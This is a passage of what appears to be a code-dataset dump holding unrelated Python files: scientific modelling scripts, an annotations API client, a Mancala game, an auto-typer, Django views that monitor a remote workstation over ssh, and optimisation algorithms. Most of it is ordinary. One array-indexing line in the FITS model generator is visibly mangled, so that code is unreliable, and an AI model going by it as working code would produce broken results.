record_path,'a')\n\tf.write(\"{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\\n\" \\\n\t\t\t\t.format(Space.gridx, Space.gridy, Space.gridz,\\\n\t\t\t\t\tSpace.dx, Space.dy, Space.dz, Fields.nsteps, cal_time))\n\tf.close()\n","sub_path":"python/HPF/block.cpu.1c.Hz/mainFPSTD.py","file_name":"mainFPSTD.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"309574646","text":"import math\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nimport requests\n\n\ndef _normalize_variants(variants):\n return [var.replace(\":\", \"-\").replace(\"/\", \"-\").replace(\"-*\", \"\") for var in variants]\n\n\ndef _get_annotations(ids):\n url = \"https://api.missionbio.io/annotations/v1/variants?ids=\" + \",\".join(ids)\n r = requests.get(url=url)\n return r.json()\n\n\ndef _chunks(variants):\n for i in range(0, len(variants), 100):\n yield variants[i : i + 100]\n\n\ndef get_annotations_from_api(variants):\n variants = _normalize_variants(variants)\n workers = min(20, math.ceil(len(variants) / 100))\n data = []\n\n with ThreadPoolExecutor(max_workers=workers) as executor:\n items = {executor.submit(_get_annotations, ids): ids for ids in _chunks(variants)}\n for future in as_completed(items):\n # if there is an Exception let it propagate.\n # we assume that that means there is no internet\n item = future.result()\n data.extend(item)\n\n return data\n","sub_path":"src/insights/annotations_api.py","file_name":"annotations_api.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"533913434","text":"import numpy as np\nfrom astropy.io import fits\nimport os\nimport pdb\n\n#Based off of gen_fake.py\n\ndef genmodelfits(p, filename):\n\n # - constants\n AU = 1.496e13 # - definition of an AU [cm]\n pc = 3.09e18 # - definition of a parsec [cm]\n\n # - parameter values\n offs = [0.0,0.0]\n rin = 0.1*AU\n ra_pc = 68.1263333333\t#(RA[0]+RA[1]/60.+RA[2]/3600.)*360./24.\n dec_pc = 17.5279638889\t#(DEC[0]+DEC[1]/60.+DEC[2]/3600.)\n\n # - set free parameters\n rout = p[0]*AU\n ftot = p[1]\n gam = p[2]\n incl = p[3] # - disk inclination (deg from face-on)\n PA = p[4] # - PA of major axis (deg E of N) \n dpc = p[5] # - distance (pc)\n \n # - radial grid\n nx = 1001 # - preferrably an odd number\n ny = 1001 # - best if this is square\n rwid = 300.*AU # - 1/2 width of image\n xps = 2.*rwid/(nx-1)\n yps = 2.*rwid/(ny-1)\n xp_,yp_ = np.meshgrid(xps*(np.arange(nx)-(nx/2.-0.5)),yps*(np.arange(ny)-(ny/2.-0.5)))\n ang = (270.-PA)*np.pi/180.\n xp = np.cos(ang)*xp_-np.sin(ang)*yp_\n yp = np.sin(ang)*xp_+np.cos(ang)*yp_\n r = np.sqrt(xp*xp+1./np.cos(incl*np.pi/180.)**2*yp*yp)\n\n # - create image\n image = np.zeros_like(r)\n ## image[r0)&(r0)&(rrout)&(r<(0.8*rwid))] = (rout/r[(r>rout)&(r<(0.8*rwid))])**6.0\n \n \n# print np.sum(image), ftot/np.sum(image)\n image *= ftot/np.sum(image)\n# pdb.set_trace()\n\n # - construct header\n hdr = fits.Header()\n hdr.set('BITPIX',-32)\n hdr.set('CDELT1',-1.*xps/(AU*dpc)/3600.)\n hdr.set('CRPIX1',nx/2.+0.5)\n hdr.set('CRVAL1',ra_pc+offs[0]/np.cos(dec_pc*np.pi/180)/3600.)\n hdr.set('CTYPE1', 'RA---SIN')\n hdr.set('CDELT2',yps/(AU*dpc)/3600.)\n hdr.set('CRPIX2',ny/2.+0.5)\n hdr.set('CRVAL2',dec_pc+offs[1]/3600.)\n hdr.set('CTYPE2','DEC--SIN')\n hdr.set('CTYPE4','FREQ ')\n hdr.set('CRPIX4',1)\n hdr.set('CDELT4',1.96799993515E+09)\n hdr.set('CRVAL4',2.24053329468E+11)\n hdr.set('CTYPE3','STOKES ')\n hdr.set('CRVAL3',1.)\n hdr.set('CDELT3',1.)\n hdr.set('CRPIX3',1.)\n hdr.set('EPOCH' ,2000)\n\n # - write image\n hdu = fits.PrimaryHDU(np.reshape(np.float32(image),(1,1,ny,nx)),header=hdr)\n hdulist = fits.HDUList([hdu])\n hdulist.writeto(filename+'.fits',clobber=True)\n hdulist.close()\n\n # calculate visibilities\n # os.system('./pvis_filen.csh '+filename)\n","sub_path":"DATA/genmodelfits.py","file_name":"genmodelfits.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"373592100","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 6 11:25:22 2020\n\n@author: ccc\n\"\"\"\n\nimport flopy as fp\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.interpolate import griddata\n\n\nmf_dir = r'C:\\transitorioCalibracionMF2005'\n\n\ndef main():\n \n plt.close(\"all\") \n ml = fp.modflow.Modflow.load(mf_dir+\"\\modelCalR2.nam\", model_ws='', verbose=False,\n check=False, exe_name=\"mf2005\", version = \"mf2005\" )\n \n \n ml.dis.check(verbose=True, level=12)\n \n model_top = ml.dis.top.array\n model_bottom = ml.dis.getbotm()\n \n espesor_l1 = model_top - model_bottom[0,:,:]\n espesor_l2 = model_bottom[0,:,:]-model_bottom[1,:,:]\n plt.imshow(espesor_l2)\n print(np.min(espesor_l1)) #El error está en las celdas inactivas\n print(np.min(espesor_l2))\n YI, XI = np.where(espesor_l2 == 0.0)\n\n X = np.arange(0,espesor_l1.shape[1],1)\n Y = np.arange(0,espesor_l1.shape[0],1)\n X,Y = np.meshgrid(X,Y)\n values = model_bottom[0,:,:].flatten()\n \n Z0 = griddata((X.ravel(),Y.ravel()), values, (XI, YI))+.1\n model_bottom[0,YI,XI] = Z0\n \n dis = fp.modflow.ModflowDis(ml, 4,nrow = 418 ,ncol = 153,top=model_top,botm=model_bottom,itmuni=1, unitnumber = 29 )\n\n ml.write_input()\n\n #Check\n \n mfl = fp.modflow.Modflow.load(r\"C:\\Users\\Carlos\\modelCalR2.nam\", model_ws=mf_dir, verbose=False,\n check=False, exe_name=\"mf2005\", version = \"mf2005\" )\n \n model_top = ml.dis.top.array\n model_bottom = ml.dis.getbotm()\n espesor_l2 = model_bottom[0,:,:]-model_bottom[1,:,:]\n\n YI, XI = np.where(espesor_l2 == 0.0)\n \n if len(XI) == 0 and len(YI) == 0:\n print('Elevaciones arregladas')\n\n\nif __name__ == '__main__':\n main()","sub_path":"Groundwater/Corregir_DIS.py","file_name":"Corregir_DIS.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"436553136","text":"#!/usr/bin/env python3\n\nfrom board import Board\nfrom random import randint\n#import deepcopy function to copy the class object and do move on that to perform the best move\nfrom copy import deepcopy\n\nclass Player:\n def __init__(self,boardObj,idValue,difficulty):\n \"\"\"\n init function is constructor for player class which takes three agruments\n as board class object, idValue : which defines player as computer or Human\n as human always play at row1 and computer always play at row 0. Human always plays at difficulty\n level as -1, 0 is for random number and 1 and other positive number if hard difficulty which maintains\n recursiveDecision Tree\n \"\"\"\n # assigning board object as local variable for class\n self.board = boardObj\n if idValue == 0:\n #assigning rowNumber and difficulity level and userId Assignment\n self.rowNumber = 0\n self.playerId = \"Computer : 1\"\n self.level = difficulty\n else:\n #assigning rowNumber and difficulity level and userId Assignment\n self.rowNumber = 1\n if difficulty != -1:\n self.playerId = \"Computer :2\"\n else:\n self.playerId = \"Human\"\n self.level = difficulty\n\n def __repr__(self):\n \"\"\"\n repr function to print the object or status of a player\n \"\"\"\n row1 = ' '.join(str(e) for e in self.board.row1)\n row2 = ' ' + ' '.join(str(e) for e in self.board.row2)\n string = \"Player {} plays at level {} at board:\\n\" .format(self.playerId,self.level)\n return string + \"\\n\" + row1 + \"\\n\" + row2\n\n def __str__(self):\n \"\"\"\n str function to print the object or status of a player\n \"\"\"\n row1 = ' '.join(str(e) for e in self.board.row1)\n row2 = ' ' + ' '.join(str(e) for e in self.board.row2)\n string = \"Player {} plays at level {} at board:\\n\" .format(self.playerId,self.level)\n return string + \"\\n\" + row1 + \"\\n\" + row2\n\n\n def playerMove(self):\n \"\"\"\n taking input from human user, and checking if it valid between 1 to\n 6 otherwise asking again, returning the input locaiton entered by user\n \"\"\"\n #redundency towards input between 1 or 6, if user enter soemthing else, it\n if self.level == -1:\n while(True):\n loc = input('Enter 1,2,3,4,5,6 :')\n try:\n loc = int(loc)\n if loc <= 6 and loc >=1 :\n break\n except ValueError as error:\n print('Please enter integer value')\n \n return loc\n\n def opponentMove(self):\n \"\"\"\n Generating computer input location for play by randint function which will generate\n number between 1 to 6,when difficulity level is set as 0. It will also check if move is Valid,\n then return the loc to calling function\n \"\"\"\n if self.level == 0:\n while(True):\n loc = randint(1,6)\n validFlag = self.board.checkValidMove(self.rowNumber,loc)\n if validFlag == True:\n return loc\n\n def enumerateChoice(self):\n \"\"\"\n enumerateChoice function generate the move location for computer player when difficulty\n level is greater than zero\n \"\"\"\n if self.rowNumber == 0 :\n checkList = []\n # it will analyze each move between 1 to 6\n for choice in range(1,7):\n #coping the state of board for testing\n testboard = deepcopy(self.board)\n #checking if move of choice is valid\n validFlag = testboard.checkValidMove(self.rowNumber,choice)\n if validFlag == True:\n #if move is valid, it will perform on testboard, and then generate all flag\n validFlag,getOppostiveFlag,nextRunFlag,lastRow,index = testboard.move(self.rowNumber,choice)\n #it will perform the diffence of each store for player 1 to select appropiate move\n difference = testboard.row1[0] - testboard.row2[6]\n #checking if getOppostiveFlag is True, nextRunFlag is also True, storing into list\n if getOppostiveFlag == True and nextRunFlag == True:\n checkList.append((choice,difference,1,1))\n #checking if getOppostiveFlag is True, nextRunFlag is also False, storing into list\n elif getOppostiveFlag == True and nextRunFlag == False:\n checkList.append((choice,difference,1,0))\n #checking if getOppostiveFlag is False, nextRunFlag is also True, storing into list\n elif getOppostiveFlag == False and nextRunFlag == True:\n checkList.append((choice,difference,0,1))\n #checking if getOppostiveFlag is False, nextRunFlag is also False, storing into list\n else:\n checkList.append((choice,difference,0,0))\n #if difference is same for some choice, choose the one which has\n #getOppostiveFlag True value or nextRunFlag is True\n checkList = sorted(checkList,key=lambda x:(x[1],x[2],x[3]),reverse=True)\n return checkList[0][0]\n else:\n checkList = []\n for choice in range(1,7):\n #coping the state of board for testing\n testboard = deepcopy(self.board)\n #checking if move of choice is valid\n validFlag = testboard.checkValidMove(self.rowNumber,choice)\n if validFlag == True:\n #if move is valid, it will perform on testboard, and then generate all flag\n validFlag,getOppostiveFlag,nextRunFlag,lastRow,index = testboard.move(self.rowNumber,choice)\n #it will perform the diffence of each store for player 1 to select appropiate move\n difference = testboard.row2[6] - testboard.row1[0]\n #checking if getOppostiveFlag is True, nextRunFlag is also True, storing into list\n if getOppostiveFlag == True and nextRunFlag == True:\n checkList.append((choice,difference,1,1))\n #checking if getOppostiveFlag is True, nextRunFlag is also False, storing into list\n elif getOppostiveFlag == True and nextRunFlag == False:\n checkList.append((choice,difference,1,0))\n #checking if getOppostiveFlag is False, nextRunFlag is also True, storing into list\n elif getOppostiveFlag == False and nextRunFlag == True:\n checkList.append((choice,difference,0,1))\n #checking if getOppostiveFlag is False, nextRunFlag is also False, storing into list\n else:\n checkList.append((choice,difference,0,0))\n #if difference is same for some choice, choose the one which has\n #getOppostiveFlag True value or nextRunFlag is True\n checkList = sorted(checkList,key=lambda x:(x[1],x[2],x[3]),reverse=True)\n return checkList[0][0]\n\n def play(self,verboseFlag=True):\n \"\"\"\n play function sets the nextRunFlag True to run the loop again in case of player get another run\n \"\"\"\n nextRunFlag = True\n while(nextRunFlag == True):\n #setting the nextRunFlag False, so not everytime it should run the loop,expect one case\n #where player gets extra run\n nextRunFlag = False\n #checking the condition if game is over\n if self.board.gameOver():\n # if it true, then check which players has more stones, and setting them as winner\n print(\"The final board:\")\n print(self.board.__repr__())\n if self.board.row1[0] > self.board.row2[6]:\n print(\"Player: {} Wins\" .format(self.playerId))\n elif self.board.row1[0] == self.board.row2[6] :\n print(\"It's tie between computer and human\")\n else:\n print(\"Player: {} Wins\" .format(self.playerId))\n #return True so game is over\n return True\n # if difficulty level is -1, means user move should perform\n if self.level == -1:\n loc = self.playerMove()\n validFlag,getOppostiveFlag,nextRunFlag,lastRow,index = self.board.move(self.rowNumber,loc)\n # if difficulty level is zero, then call opponentMove function and perform the move\n elif self.level == 0:\n loc = self.opponentMove()\n validFlag,getOppostiveFlag,nextRunFlag,lastRow,index = self.board.move(self.rowNumber ,loc)\n #if difficulty level is greater than zero, then call\n #enumerateChoice function and get the best move, perfroming the move\n else:\n bestChoice = self.enumerateChoice()\n validFlag,getOppostiveFlag,nextRunFlag,lastRow,index = self.board.move(self.rowNumber,bestChoice)\n #if validFlag after move is valid, then print it only verboseFlag is True\n if validFlag == True:\n if verboseFlag == True:\n print(\"The move is valid.\")\n print(\"The last stone in row {} and hole {} \" .format(lastRow,index))\n if getOppostiveFlag == True and verboseFlag == True:\n print(\"The player gets stones from opposite row.\")\n if nextRunFlag == True and verboseFlag == True:\n print(\"The player gets an extra run\")\n print(\"The board after move\")\n print(self.board.__repr__())\ndef main():\n \"\"\"\n Main Function to run the Mancala Game\n \"\"\"\n computerFlag = False\n\n #setting the board with initial setup, creating the board object by calling board class\n b = Board()\n\n print(\"Welcome to our mancala game!\")\n #asking user input for running the game\n checkPlayer = input('Run with two computer players? y/n : ')\n checkDifficulty = input('Give the level of difficulty( >=0):')\n checkDifficulty = int(checkDifficulty)\n checkVerbose = input('Verbose mode ? (y/n)')\n # if both player should be computer, checking the flag\n if checkPlayer == \"y\" or checkPlayer == \"Y\":\n #assinging the two player class object for running the game\n player1 = Player(b,0,checkDifficulty)\n player2 = Player(b,1,checkDifficulty)\n computerFlag = True\n else:\n # if one player is human and other is computer, setting the player by creating\n # player class with two differnt difficulty level, assigning the row 0 for computer\n # row 1 for human\n player1 = Player(b,0,checkDifficulty)\n player2 = Player(b,1,-1)\n #if Verbose flag is true, then print the statment which inform player, about their move\n if checkVerbose == \"y\" or checkVerbose == \"Y\":\n verboseFlag = True\n else:\n verboseFlag = False\n # fliping the coin, to check which player will start the game\n playerStarts = randint(0,1)\n while (True):\n if playerStarts:\n #if coin flips get one, then computer wil start the game\n checkGameOver = player1.play(verboseFlag)\n #after each run, checking for condition if game is over.\n if checkGameOver == True:\n break\n #running the game for another player\n checkGameOver = player2.play(verboseFlag)\n #after each run, checking for condition if game is over.\n if checkGameOver == True:\n break\n #asking in case both player are computer, then do you want to play more\n if computerFlag == True:\n cont = input('Continue to next round ?(y/n)')\n if cont == \"y\" or cont == \"Y\":\n continue\n else:\n break\n else:\n #if coin flips get zer0 then human wil start the game\n checkGameOver = player2.play(verboseFlag)\n #after each run, checking for condition if game is over.\n if checkGameOver == True:\n break\n #compuer player will perform it's move\n checkGameOver = player1.play(verboseFlag)\n #after each run, checking for condition if game is over.\n if checkGameOver == True:\n break\n #asking in case both player are computer, then do you want to play more\n if computerFlag == True:\n cont = input('Continue to next round ?(y/n)')\n if cont == \"y\" or cont == \"Y\":\n continue\n else:\n break\n print(\"Game Over\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":13081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"640258308","text":"# 하위폴더 json_files 참조 경로 추가\nfrom os import environ\nenviron['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'\nimport sys\nsys.path.insert(0, \"d:\\\\WORK\\\\git_repos\\\\fo4_data_crawling\\\\Project_revised2\\\\json_files\")\n# D:\\WORK\\git_repos\\fo4_data_crawling\\Project_revised2\\json_files\n# 기본 모듈 import\nimport time\nimport requests\nfrom multiprocessing import Pool\nfrom multiprocessing import freeze_support\n# 커스텀 모듈 import\nfrom json_files.json_io import write_json\nfrom task_manager import task_run\n\n# open API 문서로 부터 업데이트 필요\n# spid.json 업데이트\ndef make_spid():\n url = \"https://static.api.nexon.co.kr/fifaonline4/latest/spid.json\"\n data = requests.get(url).json()\n write_json(\"spid\", data)\n# seasonid.json 업데이트\ndef make_seasonid():\n url = \"https://static.api.nexon.co.kr/fifaonline4/latest/seasonid.json\"\n data = requests.get(url).json()\n write_json(\"seasonid\", data)\n# 업데이트 실행\nmake_spid()\nmake_seasonid()\n\n# 향후 작업들은 spid.json으로부터 만들어지는 IDs list 객체를 기준으로 작업되므로 업데이트 이후 import함\nfrom json_files.data import IDs\nfrom json_files.id_to_ovr import id_to_ovr\n#from json_files.prices import make_prices\n\n# 멀티프로세싱 task 정의\ndef task(num):\n # 나중에 불려진 후의 시간에서 빼주기 위해 시작 시간 저장\n now = time.time()\n # 실행횟수 num이 1~총 데이터 길이 를 벗어나면 총 길이로 바꿔줌\n if num not in range(1,len(IDs)):\n num = len(IDs)\n # 4중 멀티프로세싱\n pool = Pool(processes=8)\n temp = pool.map(id_to_ovr, IDs[:num])\n data = {list(x.keys())[0]:int(list(x.values())[0]) for x in temp}\n write_json(\"id_to_ovr\", data)\n #print(data)\n # 수집된 데이터 개수 num, 멀티프로세싱 시작 전 시간 now 를 튜플로 반환\n return num, now\n\n# task 실행\nif __name__=='__main__':\n freeze_support()\n task_run(task(10))\n","sub_path":"ver.3/roster_update.py","file_name":"roster_update.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"444181529","text":"import pyautogui\nimport time\nimport os\nimport tkinter as tk\nfrom tkinter import filedialog\n\nclass TexttoType:\n def __init__(self):\n self.AskForFile()\n\n def AskForFile(self):\n Window = tk.Tk()\n Window.withdraw()\n rawtxt= filedialog.askopenfilename(\n initialdir='/home/user/Desktop',\n title='Select Image',\n filetypes=((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\n self.opentext = open(rawtxt, \"r\")\n self.AskForDelay()\n self.TalktoTypeLoop()\n\n def AskForDelay(self):\n self.WaitTime=input('How long in seconds between each line?\\n')\n time.sleep(5)\n return \n\n def TalktoTypeLoop(self):\n while True:\n try:\n for self.line in self.opentext: \n self.CheckFailSafe()\n pyautogui.typewrite(self.line)\n time.sleep(int(self.WaitTime))\n except KeyboardInterrupt:\n input('~~Paused~~\\nPlease press enter to continue...')\n continue\n\n def CheckFailSafe(self):\n x, y = pyautogui.position()\n if x is 0:\n if y is 0:\n print('~~Paused~~\\nWould you like to continue?\\nThe next printed line is {}'.format(self.line))\n Ask=input('1 to continue ~ 2 to stop\\n')\n if Ask is '1':\n time.sleep(5)\n return\n elif Ask is '2':\n print('Would you like to change the text file or Change the Delay?')\n Change=input('1 to change file. ~ 2 to change delay time.\\n')\n if Change is '1':\n self.AskForFile()\n elif Change is '2':\n self.AskForDelay()\n else:\n quit()\n else:\n quit()\n\npyautogui.FAILSAFE = False\nTexttoType()\n","sub_path":"TextToType.py","file_name":"TextToType.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"334582371","text":"#!/usr/bin/env python3\n\nimport os, subprocess, sys\nfrom contextlib import suppress\n\nif \"-h\" in sys.argv:\n with suppress(subprocess.CalledProcessError):\n print(subprocess.check_output([\"lspci\", \"-h\"], universal_newlines=True))\n exit(0)\n\nif \"-s\" in sys.argv or \"-d\" in sys.argv:\n print(\"Do not use -s or -d selectors, the script does that for you.\",\n file=sys.stderr)\n exit(1)\n\ngroups = sorted(os.scandir(\"/sys/kernel/iommu_groups\"),\n key=lambda de: int(de.name))\n\nfor i, group in enumerate(groups):\n\n assert group.is_dir(follow_symlinks=False)\n\n if i > 0:\n print()\n print(f\"Group {int(group.name):2d}:\")\n\n devicespath = os.path.join(group, \"devices\")\n devices = sorted(os.scandir(devicespath),\n key=lambda de: int(de.name.translate(str.maketrans(\"\", \"\", \":.\")), 16))\n\n for device in devices:\n\n assert device.is_symlink()\n assert device.is_dir(follow_symlinks=True)\n\n lspci = subprocess.check_output([\"lspci\", \"-nns\", device.name] + sys.argv[1:],\n stderr=subprocess.STDOUT,\n universal_newlines=True)\n print(lspci.strip())\n\nprint()\n","sub_path":"bin/pci-iommu.py","file_name":"pci-iommu.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"144189189","text":"def main():\n T=int(input())\n count=0\n result=[]\n for k in range(T):\n N=int(input())\n villian=[int(x) for x in input().split() ]\n player=[int(x) for x in input().split() ]\n villian.sort(reverse=True)\n player.sort(reverse=True)\n start=0\n for i in range(len(player)):\n for j in range(start,len(villian)):\n if player[i]>villian[j]:\n start=j+1\n count+=1\n break\n if (count==N):\n \n result.append(\"WIN\")\n T-=1\n else:\n result.append(\"LOSE\")\n T-=1\n count=0\n for l in result:\n print(l)\n \nmain()\n","sub_path":"python_developer.py","file_name":"python_developer.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"199503752","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nimport json\nimport random\nimport numpy as np\nimport subprocess\nimport json \nimport codecs\nimport os\n\ncurrent_directory = os.path.dirname(os.path.abspath(__file__))\n\n# Generate main demo screen. \ndef demo(request):\n #####\n # MFCC data (speech features waveform)\n #####\n my_file = open(current_directory+\"/static/demo/csv/mfcc.csv\")\n spect = []\n # Orginal file is 150k by 26. Cutting it down to 75k by 20. \n # Reduce resolution but it will make it stream better. \n for n, x in enumerate(my_file):\n if n%2:\n my_arr = x.strip().split(\",\")\n my_arr = list(map(float, my_arr))[0:20]\n spect.append(my_arr)\n my_file.close()\n\n #####\n # For subtitles. Json file of words with timestamp. \n #####\n f = open(current_directory+\"/static/demo/csv/sync-response-offsets.json\")\n json_file = json.loads(f.read())\n\n # Formatting subtitles. \n words_arr = []\n len_of_word_arrs = len(json_file[\"response\"][\"results\"])\n for x in range(0, len_of_word_arrs):\n words_arr = words_arr + json_file[\"response\"][\"results\"][x][\"alternatives\"][0][\"words\"]\n f.close()\n grouped_words_arr = []\n temp = {}\n words_per_group = 5\n word_count = 0\n for n, x in enumerate(words_arr):\n if word_count == 0:\n temp = {\"startTime\": float(x[\"startTime\"].replace(\"s\", \"\")), \"endTime\": 0, \"words\": x[\"word\"]}\n word_count = word_count + 1\n elif word_count0:\n result = ssh.stdout.readlines()[0].decode(\"utf-8\")\n results = json.loads(result)\n\n context = {\n \"cpu_val\": float(results['cpu.all.%usr']),\n \"mem_val\": abs((32 - (float(results['memory.idle memory (MiB)'])/1000) )/32)*100,\n \"disk_val\": float(results['disk.sda.%util']),\n \"gpu_val\": float(results['gpu.GPU_0.sm']),\n \"gpumem_val\": float(results['gpu.GPU_0.mem']),\n \"rxpci\": float(results[\"gpu.GPU_0.rxpci\"]),\n \"txpci\": float(results[\"gpu.GPU_0.txpci\"]),\n \"mem_blocks_rec\": float(results[\"memory.blocks received\"]),\n \"mem_blocks_sent\": float(results[\"memory.blocks sent\"]),\n }\n else:\n context = {\n \"cpu_val\": 0,\n \"mem_val\": 0,\n \"disk_val\": 0,\n \"gpu_val\": 0,\n \"gpumem_val\": 0,\n \"rxpci\": 0,\n \"txpci\": 0,\n \"mem_blocks_rec\": 0,\n \"mem_blocks_sent\": 0,\n }\n\n return JsonResponse(json.loads(json.dumps(context)))\n\n# Run inference on active workstation. \ndef run_inference(request):\n cmd = \"bash -i /home/micron/start.sh\"\n host=\"192.168.0.101\"\n ssh = subprocess.call([\"ssh\", \"%s\" % host, cmd])\n context = {}\n return JsonResponse(json.loads(json.dumps(context)))","sub_path":"demo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"32171481","text":"#!/usr/bin/env python2\nimport random, math\nfrom decimal import *\nimport numpy as np \nimport pandas as pd \nimport matplotlib.pyplot as plt\n\n\"\"\" ================== Hill Climbing ================== \n\"\"\"\ndef hill_climb(init_func, obj_func, move_opt, max_eva_num):\n \"\"\" \n init_func:\n give the initial state\n\n obj_func:\n evaluate how good the state is\n\n move_opt:\n how to get the next position\n\n max_eva_num:\n how many times to evaluate\n \"\"\"\n results = []\n best = init_func()\n best_score = obj_func(best)\n results.append(best_score)\n print(\"==== Hill Climb Algorithm ====\")\n print(\"Expected evaluation time: {0}\".format(str(max_eva_num)))\n print(\"Init:\\t({0}, {1})\".format(str(best_score), str(best)))\n\n for i in range(max_eva_num):\n move_made = False\n\n # Iterate all possible solutions\n for next in move_opt(best):\n next_score = obj_func(next)\n\n if (next_score > best_score):\n best = next\n best_score = next_score\n move_made = True\n print(\"Gen {0}: BestSoFar={1}, Now={2}\".format(str(i+1), best_score, str(best_score)))\n results.append(best_score)\n break; # Should break here (DFS method)\n\n # There is no better solution\n if not move_made:\n print(\"* no better solution *\")\n break;\n\n print(\"Done\")\n print(\"The best result: ({0}, {1})\".format(str(best_score), str(best)))\n return results\n\n\"\"\" ================== Simulated Annealing ================== \n\"\"\"\ndef sa_ann_func(best, next, temp, acp_limit=None):\n if (next > best): \n return True\n else:\n prob = math.exp((next-best)/temp)\n if (acp_limit is not None):\n th = acp_limit\n else:\n th = random.uniform(0.0, 1.0)\n if prob > th:\n return True\n return False\ndef sim_anneal(init_func, obj_func, move_opt, s_tmp, e_tmp, cool_coef, it_limit, acp_func):\n # Init\n best = init_func()\n best_score = obj_func(best)\n best_sofar = best_score\n best_sofar_list = []\n results = [best_score]\n # current temperature\n c_tmp = s_tmp \n it_time = 0\n\n print(\"==== Simulated Annealing Algorithm ====\")\n print(\"Args: start temp. = {0}, end temp. = {1}, cool_coef = {2}, it_threshold = {3}\".format(\n s_tmp, e_tmp, cool_coef, it_limit))\n print(\"Init: ({0}, {1})\".format(str(best_score), str(best)))\n\n # Loop until cooled\n while (c_tmp > e_tmp): \n # Get new solution\n for next in move_opt(best):\n next_score = obj_func(next)\n\n # Use acp_func to determine if we should accept the next solution\n if acp_func(best_score, next_score, c_tmp):\n if next_score > best_sofar:\n best_sofar = next_score\n\n best = next\n best_score = next_score\n results.append(best_score)\n\n best_sofar_list.append(best_sofar)\n break\n\n # Update iteration times\n it_time += 1\n\n # If iteration time is enough, do annealing\n if it_time >= it_limit:\n it_time = 0\n c_tmp += cool_coef\n\n return (results, best_sofar_list)\n\n\"\"\" ================== Generic Algorithm ================== \n\"\"\"\ndef vtog(v):\n \"\"\" Value to binary gene\n \"\"\"\n is_pos = False\n symbol = '1'\n if v > 0: \n is_pos = True\n symbol = '0'\n else: \n v = -1.0*v\n\n vs = \"{:.4f}\".format(round(v, 4))\n vb = []\n for i in vs:\n if i == '.':\n vb.append(i)\n else:\n vi = int(i)\n vi_b = [int(x) for x in bin(vi)[2:]]\n if (len(vi_b) < 4):\n vi_b = [0 for j in range(4-len(vi_b))] + vi_b\n for k in vi_b:\n vb.append(str(k))\n\n if v < 10:\n vb = ['0','0','0','0'] + vb\n\n return [symbol] + vb\ndef gtov(g):\n \"\"\" Binary gene to value\n \"\"\"\n is_pos = False\n if g[0] == '0':\n is_pos = True\n ng = g[1:]\n\n g_in = []\n i = 0\n while (i < len(ng)):\n if ng[i] == '.':\n g_in.append(ng[i])\n i += 1\n else:\n tmp = []\n for j in range(i, i+4):\n tmp.append(ng[j])\n g_in.append(tmp)\n i += 4\n\n result = []\n for vb in g_in:\n if (vb == '.'):\n result.append(vb)\n else:\n tmp = 0\n for i in range(len(vb)):\n tmp += int(vb[i]) * (2**(len(vb)-1-i))\n result.append(tmp)\n\n rs = ''\n for i in result:\n rs += str(i)\n rs = float(rs)\n\n if not is_pos:\n rs = -1.0*rs\n\n return rs\ndef weighted_select(vals):\n total = sum(vals)\n r = random.uniform(0 if min(vals) >= 0 else min(vals), total)\n upto = 0\n for i in range(len(vals)):\n v = vals[i]\n if upto + v >= r:\n return i\n upto += v\n assert False, \"OMG\"\ndef genetic_algorithm(init_func, fitness_func, cross_func, mutation_func, it_limit):\n \"\"\" \n [x1, x2, x3, x4, ...] = init_func()\n the best fitness value = fitness_func([x1,x2,x3,x4,...])\n [x1', x2', x3', x4'] = cross_func([x1,x2,x3,x4], fitness_func)\n [x1', x2', x3', x4'] = mutation_func([x1,x2,x3,x4])\n \"\"\"\n best_genes = init_func() # [x1, x2, x3, x4, ...]\n best_fitness = 0\n for i in best_genes:\n fit = fitness_func(i)\n if fit > best_fitness:\n best_fitness = fit\n best_sofar = best_fitness\n best_sofar_list = [best_sofar]\n gen_vals = [best_fitness]\n mutated_time = 0\n\n print(\"==== Genetic Algorithm ====\")\n print(\"Init: bestFitness={1}, genes={0}\".format(best_genes, best_fitness))\n\n for i in range(it_limit):\n best_genes, is_mutated = mutation_func(cross_func(best_genes, fitness_func))\n\n if is_mutated:\n mutated_time += 1\n\n # Get the best fitness of current genes\n best_fitness = 0\n for j in best_genes:\n fit = fitness_func(j)\n if fit > best_fitness:\n best_fitness = fit\n gen_vals.append(best_fitness)\n\n # Update so far best fitness\n if best_fitness > best_sofar:\n best_sofar = best_fitness\n best_sofar_list.append(best_sofar)\n\n print( \"Gen {0}: CurrentFitness={1}, BestSoFar={2}\".format(i+1, best_fitness, best_sofar) )\n\n print(\"(mutation times/total) = ({0}/{1})\".format(mutated_time, it_limit))\n\n return (gen_vals, best_sofar_list)\n\n\"\"\" ================== Exercise 1 ================== \n\"\"\"\n# For Hill Climb Algorithm\ndef 